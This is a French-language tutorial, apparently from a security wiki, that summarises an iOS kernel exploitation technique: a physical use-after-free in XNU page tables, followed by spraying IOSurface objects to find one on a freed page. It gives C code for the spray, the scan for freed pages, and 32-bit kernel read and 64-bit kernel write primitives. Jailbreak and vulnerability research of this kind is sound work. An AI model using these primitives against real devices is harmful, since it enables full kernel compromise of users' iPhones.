# iOS Exploiting ## Utilisation physique après libération Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gestion de la mémoire dans XNU L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles. #### Niveaux des tables de pages dans iOS Les tables de pages sont organisées hiérarchiquement en trois niveaux : 1. **Table de pages L1 (Niveau 1)** : * Chaque entrée ici représente une large plage de mémoire virtuelle. * Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle. 2. **Table de pages L2 (Niveau 2)** : * Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo). * Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même. 3. **Table de pages L3 (Niveau 3)** : * C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**. * Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire. #### Mapping de la mémoire virtuelle à la mémoire physique * **Mapping direct (Mapping par bloc)** : * Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci). * **Pointeur vers la table de pages enfant** : * Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2). #### Exemple : Mapping d'une adresse virtuelle Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** : 1. **Table L1** : * Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2. 2. **Table L2** : * Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, il y procède. 3. **Table L3** : * Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle. #### Exemple de mapping d'adresse Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : * Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**. * C'est un **mapping par bloc** au niveau L2. Alternativement, si l'entrée L2 pointe vers une table L3 : * Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3. ### Utilisation physique après libération Une **utilisation physique après libération** (UAF) se produit lorsque : 1. Un processus **alloue** de la mémoire comme **lisible et écrivable**. 2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder. 3. Le processus **désalloue** (libère) la mémoire. 4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre. 5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**. 6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique. Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**. ### Stratégie d'exploitation : Spray de tas Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** : 1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau. 2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier. 3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée. 4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**. Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Processus de spray de tas étape par étape 1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique"). 2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée. 3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de : * Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau. * Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**. Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard : ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Recherchez des objets **`IOSurface`** dans une page physique libérée : ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Réaliser des opérations de lecture/écriture du noyau avec IOSurface Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**. **Champs clés dans IOSurface** L'objet IOSurface a deux champs cruciaux : 1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**. 2. **Pointeur de timestamp indexé** : Permet une **écriture de 64 bits**. En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture. #### Lecture du noyau de 32 bits Pour effectuer une lecture : 1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets. 2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### Écriture du noyau 64 bits Pour effectuer une écriture : 1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible. 2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Récapitulatif du Flux d'Exploitation 1. **Déclencher une Utilisation Après Libération Physique** : Les pages libérées sont disponibles pour réutilisation. 2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau. 3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez. 4. **Abuser de l'Utilisation Après Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** arbitraire du noyau via les méthodes IOSurface. Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).